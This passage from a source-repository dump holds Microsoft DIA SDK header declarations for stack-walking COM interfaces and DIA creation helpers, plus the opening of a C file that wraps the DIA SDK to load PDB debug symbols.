IDiaStackFrame_get_returnAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_returnAddress(This,pRetVal) ) \n\n#define IDiaStackFrame_get_localsBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localsBase(This,pRetVal) ) \n\n#define IDiaStackFrame_get_lengthLocals(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lengthLocals(This,pRetVal) ) \n\n#define IDiaStackFrame_get_lengthParams(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lengthParams(This,pRetVal) ) \n\n#define IDiaStackFrame_get_lengthProlog(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lengthProlog(This,pRetVal) ) \n\n#define IDiaStackFrame_get_lengthSavedRegisters(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lengthSavedRegisters(This,pRetVal) ) \n\n#define IDiaStackFrame_get_systemExceptionHandling(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_systemExceptionHandling(This,pRetVal) ) \n\n#define IDiaStackFrame_get_cplusplusExceptionHandling(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_cplusplusExceptionHandling(This,pRetVal) ) \n\n#define IDiaStackFrame_get_functionStart(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_functionStart(This,pRetVal) ) \n\n#define IDiaStackFrame_get_allocatesBasePointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_allocatesBasePointer(This,pRetVal) ) \n\n#define IDiaStackFrame_get_maxStack(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_maxStack(This,pRetVal) ) \n\n#define IDiaStackFrame_get_registerValue(This,index,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerValue(This,index,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaStackFrame_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumStackFrames_INTERFACE_DEFINED__\n#define __IDiaEnumStackFrames_INTERFACE_DEFINED__\n\n/* interface IDiaEnumStackFrames */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumStackFrames;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"ec9d461d-ce74-4711-a020-7d8f9a1dd255\")\n    IDiaEnumStackFrames : public IUnknown\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaStackFrame **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumStackFramesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumStackFrames * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumStackFrames * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumStackFrames * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumStackFrames * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaStackFrame **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumStackFrames * This);\n        \n        END_INTERFACE\n    } IDiaEnumStackFramesVtbl;\n\n    interface IDiaEnumStackFrames\n    {\n        CONST_VTBL struct IDiaEnumStackFramesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumStackFrames_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumStackFrames_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumStackFrames_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumStackFrames_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumStackFrames_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumStackFrames_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_dia2_0000_0044 */\n/* [local] */ \n\ntypedef /* [public] */ struct __MIDL___MIDL_itf_dia2_0000_0044_0001\n    {\n    DWORD ulOffStart;\n    DWORD cbProcSize;\n    DWORD cdwLocals;\n    WORD cdwParams;\n    WORD cdwFlags;\n    } \tFPODATA;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0044_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0044_v0_0_s_ifspec;\n\n#ifndef __IDiaStackWalkHelper_INTERFACE_DEFINED__\n#define __IDiaStackWalkHelper_INTERFACE_DEFINED__\n\n/* interface IDiaStackWalkHelper */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaStackWalkHelper;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"21F81B1B-C5BB-42A3-BC4F-CCBAA75B9F19\")\n    IDiaStackWalkHelper : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerValue( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_registerValue( \n            /* [in] */ DWORD index,\n            /* [in] */ ULONGLONG NewVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE readMemory( \n            /* [in] */ enum MemoryTypeEnum type,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE searchForReturnAddress( \n            /* [in] */ IDiaFrameData *frame,\n            /* [out] */ ULONGLONG *returnAddress) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE searchForReturnAddressStart( \n            /* [in] */ IDiaFrameData *frame,\n            /* [in] */ ULONGLONG startAddress,\n            /* [out] */ ULONGLONG *returnAddress) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE frameForVA( \n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaFrameData **ppFrame) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE symbolForVA( \n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE pdataForVA( \n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE imageForVA( \n            /* [in] */ ULONGLONG vaContext,\n            /* [out] */ ULONGLONG *pvaImageStart) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE addressForVA( \n            /* [in] */ ULONGLONG va,\n            /* [out] */ DWORD *pISect,\n            /* [out] */ DWORD *pOffset) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE numberOfFunctionFragmentsForVA( \n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [out] */ DWORD *pNumFragments) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE functionFragmentsForVA( \n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [in] */ DWORD cFragments,\n            /* [out] */ ULONGLONG *pVaFragment,\n            /* [out] */ DWORD *pLenFragment) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaStackWalkHelperVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaStackWalkHelper * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaStackWalkHelper * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerValue )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_registerValue )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ DWORD index,\n            /* [in] */ ULONGLONG NewVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *readMemory )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ enum MemoryTypeEnum type,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *searchForReturnAddress )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ IDiaFrameData *frame,\n            /* [out] */ ULONGLONG *returnAddress);\n        \n        HRESULT ( STDMETHODCALLTYPE *searchForReturnAddressStart )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ IDiaFrameData *frame,\n            /* [in] */ ULONGLONG startAddress,\n            /* [out] */ ULONGLONG *returnAddress);\n        \n        HRESULT ( STDMETHODCALLTYPE *frameForVA )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaFrameData **ppFrame);\n        \n        HRESULT ( STDMETHODCALLTYPE *symbolForVA )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *pdataForVA )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *imageForVA )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ ULONGLONG vaContext,\n            /* [out] */ ULONGLONG *pvaImageStart);\n        \n        HRESULT ( STDMETHODCALLTYPE *addressForVA )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ DWORD *pISect,\n            /* [out] */ DWORD *pOffset);\n        \n        HRESULT ( STDMETHODCALLTYPE *numberOfFunctionFragmentsForVA )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [out] */ DWORD *pNumFragments);\n        \n        HRESULT ( STDMETHODCALLTYPE *functionFragmentsForVA )( \n            IDiaStackWalkHelper * This,\n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [in] */ DWORD cFragments,\n            /* [out] */ ULONGLONG *pVaFragment,\n            /* [out] */ DWORD *pLenFragment);\n        \n        END_INTERFACE\n    } IDiaStackWalkHelperVtbl;\n\n    interface IDiaStackWalkHelper\n    {\n        CONST_VTBL struct IDiaStackWalkHelperVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaStackWalkHelper_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaStackWalkHelper_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaStackWalkHelper_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaStackWalkHelper_get_registerValue(This,index,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerValue(This,index,pRetVal) ) \n\n#define IDiaStackWalkHelper_put_registerValue(This,index,NewVal)\t\\\n    ( (This)->lpVtbl -> put_registerValue(This,index,NewVal) ) \n\n#define IDiaStackWalkHelper_readMemory(This,type,va,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> readMemory(This,type,va,cbData,pcbData,pbData) ) \n\n#define IDiaStackWalkHelper_searchForReturnAddress(This,frame,returnAddress)\t\\\n    ( (This)->lpVtbl -> searchForReturnAddress(This,frame,returnAddress) ) \n\n#define IDiaStackWalkHelper_searchForReturnAddressStart(This,frame,startAddress,returnAddress)\t\\\n    ( (This)->lpVtbl -> searchForReturnAddressStart(This,frame,startAddress,returnAddress) ) \n\n#define IDiaStackWalkHelper_frameForVA(This,va,ppFrame)\t\\\n    ( (This)->lpVtbl -> frameForVA(This,va,ppFrame) ) \n\n#define IDiaStackWalkHelper_symbolForVA(This,va,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolForVA(This,va,ppSymbol) ) \n\n#define IDiaStackWalkHelper_pdataForVA(This,va,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> pdataForVA(This,va,cbData,pcbData,pbData) ) \n\n#define IDiaStackWalkHelper_imageForVA(This,vaContext,pvaImageStart)\t\\\n    ( (This)->lpVtbl -> imageForVA(This,vaContext,pvaImageStart) ) \n\n#define IDiaStackWalkHelper_addressForVA(This,va,pISect,pOffset)\t\\\n    ( (This)->lpVtbl -> addressForVA(This,va,pISect,pOffset) ) \n\n#define IDiaStackWalkHelper_numberOfFunctionFragmentsForVA(This,vaFunc,cbFunc,pNumFragments)\t\\\n    ( (This)->lpVtbl -> numberOfFunctionFragmentsForVA(This,vaFunc,cbFunc,pNumFragments) ) \n\n#define IDiaStackWalkHelper_functionFragmentsForVA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment)\t\\\n    ( (This)->lpVtbl -> functionFragmentsForVA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaStackWalkHelper_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaStackWalker_INTERFACE_DEFINED__\n#define __IDiaStackWalker_INTERFACE_DEFINED__\n\n/* interface IDiaStackWalker */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaStackWalker;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"5485216b-a54c-469f-9670-52b24d5229bb\")\n    IDiaStackWalker : public IUnknown\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE getEnumFrames( \n            /* [in] */ IDiaStackWalkHelper *pHelper,\n            /* [out] */ IDiaEnumStackFrames **ppEnum) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getEnumFrames2( \n            /* [in] */ enum CV_CPU_TYPE_e cpuid,\n            /* [in] */ IDiaStackWalkHelper *pHelper,\n            /* [out] */ IDiaEnumStackFrames **ppEnum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaStackWalkerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaStackWalker * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaStackWalker * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaStackWalker * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *getEnumFrames )( \n            IDiaStackWalker * This,\n            /* [in] */ IDiaStackWalkHelper *pHelper,\n            /* [out] */ IDiaEnumStackFrames **ppEnum);\n        \n        HRESULT ( STDMETHODCALLTYPE *getEnumFrames2 )( \n            IDiaStackWalker * This,\n            /* [in] */ enum CV_CPU_TYPE_e cpuid,\n            /* [in] */ IDiaStackWalkHelper *pHelper,\n            /* [out] */ IDiaEnumStackFrames **ppEnum);\n        \n        END_INTERFACE\n    } IDiaStackWalkerVtbl;\n\n    interface IDiaStackWalker\n    {\n        CONST_VTBL struct IDiaStackWalkerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaStackWalker_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaStackWalker_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaStackWalker_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaStackWalker_getEnumFrames(This,pHelper,ppEnum)\t\\\n    ( (This)->lpVtbl -> getEnumFrames(This,pHelper,ppEnum) ) \n\n#define IDiaStackWalker_getEnumFrames2(This,cpuid,pHelper,ppEnum)\t\\\n    ( (This)->lpVtbl -> getEnumFrames2(This,cpuid,pHelper,ppEnum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaStackWalker_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaStackWalkHelper2_INTERFACE_DEFINED__\n#define __IDiaStackWalkHelper2_INTERFACE_DEFINED__\n\n/* interface IDiaStackWalkHelper2 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaStackWalkHelper2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"8222c490-507b-4bef-b3bd-41dca7b5934c\")\n    IDiaStackWalkHelper2 : public IDiaStackWalkHelper\n    {\n    public:\n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaStackWalkHelper2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaStackWalkHelper2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaStackWalkHelper2 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerValue )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_registerValue )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ DWORD index,\n            /* [in] */ ULONGLONG NewVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *readMemory )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ enum MemoryTypeEnum type,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *searchForReturnAddress )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ IDiaFrameData *frame,\n            /* [out] */ ULONGLONG *returnAddress);\n        \n        HRESULT ( STDMETHODCALLTYPE *searchForReturnAddressStart )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ IDiaFrameData *frame,\n            /* [in] */ ULONGLONG startAddress,\n            /* [out] */ ULONGLONG *returnAddress);\n        \n        HRESULT ( STDMETHODCALLTYPE *frameForVA )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaFrameData **ppFrame);\n        \n        HRESULT ( STDMETHODCALLTYPE *symbolForVA )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *pdataForVA )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *imageForVA )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ ULONGLONG vaContext,\n            /* [out] */ ULONGLONG *pvaImageStart);\n        \n        HRESULT ( STDMETHODCALLTYPE *addressForVA )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ DWORD *pISect,\n            /* [out] */ DWORD *pOffset);\n        \n        HRESULT ( STDMETHODCALLTYPE *numberOfFunctionFragmentsForVA )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [out] */ DWORD *pNumFragments);\n        \n        HRESULT ( STDMETHODCALLTYPE *functionFragmentsForVA )( \n            IDiaStackWalkHelper2 * This,\n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [in] */ DWORD cFragments,\n            /* [out] */ ULONGLONG *pVaFragment,\n            /* [out] */ DWORD *pLenFragment);\n        \n        END_INTERFACE\n    } IDiaStackWalkHelper2Vtbl;\n\n    interface IDiaStackWalkHelper2\n    {\n        CONST_VTBL struct IDiaStackWalkHelper2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaStackWalkHelper2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaStackWalkHelper2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaStackWalkHelper2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaStackWalkHelper2_get_registerValue(This,index,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerValue(This,index,pRetVal) ) \n\n#define IDiaStackWalkHelper2_put_registerValue(This,index,NewVal)\t\\\n    ( (This)->lpVtbl -> put_registerValue(This,index,NewVal) ) \n\n#define IDiaStackWalkHelper2_readMemory(This,type,va,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> readMemory(This,type,va,cbData,pcbData,pbData) ) \n\n#define IDiaStackWalkHelper2_searchForReturnAddress(This,frame,returnAddress)\t\\\n    ( (This)->lpVtbl -> searchForReturnAddress(This,frame,returnAddress) ) \n\n#define IDiaStackWalkHelper2_searchForReturnAddressStart(This,frame,startAddress,returnAddress)\t\\\n    ( (This)->lpVtbl -> searchForReturnAddressStart(This,frame,startAddress,returnAddress) ) \n\n#define IDiaStackWalkHelper2_frameForVA(This,va,ppFrame)\t\\\n    ( (This)->lpVtbl -> frameForVA(This,va,ppFrame) ) \n\n#define IDiaStackWalkHelper2_symbolForVA(This,va,ppSymbol)\t\\\n    ( (This)->lpVtbl -> symbolForVA(This,va,ppSymbol) ) \n\n#define IDiaStackWalkHelper2_pdataForVA(This,va,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> pdataForVA(This,va,cbData,pcbData,pbData) ) \n\n#define IDiaStackWalkHelper2_imageForVA(This,vaContext,pvaImageStart)\t\\\n    ( (This)->lpVtbl -> imageForVA(This,vaContext,pvaImageStart) ) \n\n#define IDiaStackWalkHelper2_addressForVA(This,va,pISect,pOffset)\t\\\n    ( (This)->lpVtbl -> addressForVA(This,va,pISect,pOffset) ) \n\n#define IDiaStackWalkHelper2_numberOfFunctionFragmentsForVA(This,vaFunc,cbFunc,pNumFragments)\t\\\n    ( (This)->lpVtbl -> numberOfFunctionFragmentsForVA(This,vaFunc,cbFunc,pNumFragments) ) \n\n#define IDiaStackWalkHelper2_functionFragmentsForVA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment)\t\\\n    ( (This)->lpVtbl -> functionFragmentsForVA(This,vaFunc,cbFunc,cFragments,pVaFragment,pLenFragment) ) \n\n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaStackWalkHelper2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaStackWalker2_INTERFACE_DEFINED__\n#define __IDiaStackWalker2_INTERFACE_DEFINED__\n\n/* interface IDiaStackWalker2 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaStackWalker2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"7c185885-a015-4cac-9411-0f4fb39b1f3a\")\n    IDiaStackWalker2 : public IDiaStackWalker\n    {\n    public:\n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaStackWalker2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaStackWalker2 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaStackWalker2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaStackWalker2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *getEnumFrames )( \n            IDiaStackWalker2 * This,\n            /* [in] */ IDiaStackWalkHelper *pHelper,\n            /* [out] */ IDiaEnumStackFrames **ppEnum);\n        \n        HRESULT ( STDMETHODCALLTYPE *getEnumFrames2 )( \n            IDiaStackWalker2 * This,\n            /* [in] */ enum CV_CPU_TYPE_e cpuid,\n            /* [in] */ IDiaStackWalkHelper *pHelper,\n            /* [out] */ IDiaEnumStackFrames **ppEnum);\n        \n        END_INTERFACE\n    } IDiaStackWalker2Vtbl;\n\n    interface IDiaStackWalker2\n    {\n        CONST_VTBL struct IDiaStackWalker2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaStackWalker2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaStackWalker2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaStackWalker2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaStackWalker2_getEnumFrames(This,pHelper,ppEnum)\t\\\n    ( (This)->lpVtbl -> getEnumFrames(This,pHelper,ppEnum) ) \n\n#define IDiaStackWalker2_getEnumFrames2(This,cpuid,pHelper,ppEnum)\t\\\n    ( (This)->lpVtbl -> getEnumFrames2(This,cpuid,pHelper,ppEnum) ) \n\n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaStackWalker2_INTERFACE_DEFINED__ */\n\n\n/* Additional Prototypes for ALL interfaces */\n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "DIA/inc/msdia/include/diacreate.h",
    "content": "// diacreate.h - creation helper functions for DIA initialization\n//-----------------------------------------------------------------\n// \n// Copyright Microsoft Corporation.  All Rights Reserved.\n//\n//---------------------------------------------------------------\n#ifndef _DIACREATE_H_\n#define _DIACREATE_H_\n\n//\n// Create a dia data source object from the dia dll (by dll name - does not access the registry).\n//\n\nHRESULT STDMETHODCALLTYPE NoRegCoCreate(  const __wchar_t *dllName,\n                        REFCLSID   rclsid,\n                        REFIID     riid,\n                        void     **ppv);\n\n#ifndef _NATIVE_WCHAR_T_DEFINED\n#ifdef __cplusplus\n\nHRESULT STDMETHODCALLTYPE NoRegCoCreate(  const wchar_t *dllName,\n                        REFCLSID   rclsid,\n                        REFIID     riid,\n                        void     **ppv) \n{\n    return NoRegCoCreate( (const __wchar_t *)dllName, rclsid, riid, ppv );\n}\n\n#endif\n#endif\n\n\n\n//\n// Create a dia data source object from the dia dll (looks up the class id in the registry).\n//\nHRESULT STDMETHODCALLTYPE NoOleCoCreate(  REFCLSID   rclsid,\n                        REFIID     riid,\n                        void     **ppv);\n\n#endif\n"
  },
  {
    "path": "DIA/src/callback.c",
    "content": "/*+================================================================================================\nModule Name: callback.c\nAuthor     : Paul L. (@am0nsec)\nOrigin     : https://github.com/am0nsec/wspe/\nCopyright  : This project has been released under the GNU Public License v3 license.\n\nAbstract:\nAbstraction of the Microsoft Debug Interface Access (DIA) SDK.\n\nIn this case this module contains the code for the CCallback COM interface implementation when loading PDB from\na PE EXE file.\n\nDocumentation available at: https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/debug-interface-access-sdk\nMost of the code is based on the Dia2Dump code sample shipped with the MS DIA SDK.\n================================================================================================+*/\n\n#include <Windows.h>\n#include <stdio.h>\n\n#include \"callback.h\"\n\n// 4688a074-5a4d-4486-aea8-7b90711d9f7c\nCONST IID IID_IDiaLoadCallback2 = {\n    0x4688a074, 0x5a4d, 0x4486, { 0xae, 0xa8, 0x7b, 0x90, 0x71, 0x1d, 0x9f, 0x7c }\n};\n\n// C32ADB82-73F4-421b-95D5-A4706EDF5DBE\nCONST IID IID_IDiaLoadCallback = {\n    0xC32ADB82, 0x73F4, 0x421b, { 0x95, 0xD5, 0xA4, 0x70, 0x6E, 0xDF, 0x5D, 0xBE }\n};\n\n// Global handle variable used to allocate/free executable heap memory.\nHANDLE g_HeapHandle = INVALID_HANDLE_VALUE;\n\n\nHRESULT STDMETHODCALLTYPE QueryInterface(\n    IDiaLoadCallback2* This,\n    REFIID             rid,\n    PVOID*             ppUnk\n) {\n  